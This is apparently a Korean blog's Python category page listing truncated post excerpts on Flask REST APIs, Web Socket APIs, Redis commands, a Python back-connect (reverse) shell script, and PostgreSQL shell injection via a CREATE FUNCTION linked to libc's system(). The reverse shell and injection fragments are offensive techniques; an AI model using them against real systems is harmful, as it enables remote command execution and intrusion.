본문 바로가기

Python76

728x90
Flask를 사용하여 REST API를 구축하는 예제 코드 Flask를 사용하여 REST API를 구축하는 예제 코드입니다. from flask import Flask, jsonify, request app = Flask(__name__) # 예시 데이터 tasks = [ { 'id': 1, 'title': 'Task 1', 'description': 'This is task 1', 'done': False }, { 'id': 2, 'title': 'Task 2', 'description': 'This is task 2', 'done': False } ] # 모든 작업 목록 반환 @app.route('/tasks', methods=['GET']) def get_tasks(): return jsonify({'tasks': tasks}) # 특정 작업 반환 @app.. 2023. 7. 1.
Web Socket API Web Socket APIThe Web Socket protocol enables web applications to maintain bidirectional communications with server-side processes. The typhoonae.websocket package provides a Web Socket Service API for GAE applications. It was introduced by the TyphoonAE 0.1.2 release anddoes not run on the productive Google App Engine platform.However, in order to enable the Web Socket API for the Google App En.. 2014. 2. 4.
윈도우 환경 Python 쉘 리바운드 #!/usr/bin/python import socket import sys import os def usage(): print "Simple Python Backconnect Shell" print "Usage:" print "./bc.py [ip] [port]" quit() #Initialize socket s = socket.socket() #Check if required arguments have been filled try: ip = sys.argv[1] port = int(sys.argv[2]) except: usage() #Connect to given target IP & port try: s.connect((ip, port)) except: print "Connection Failed!.. 2010. 9. 10.
PostgreSQL Shell Injection Shell InjectionPostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting languages such as python, perl, and tcl. Dynamic LibraryUntil PostgreSQL 8.1, it was possible to add a custom function linked with libc: CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT Since system returns an int how we can fetch results.. 2010. 8. 5.
Redis Command Reference memcached 류의 Key-Value 모델 이상의 역할을 수행하는 것이 가능하다. PHP와 Redis만으로 (즉, 별도의 Database 등을 사용하지 않고) 개발되고 있다. Every command name links to a specific wiki page describing the behavior of the command. Connection handling QUIT close the connection AUTH simple password authentication if enabled Commands operating on all the kind of values EXISTS key test if a key exists DEL key delete a key TYPE key return th.. 2009. 12. 17.
728x90
728x90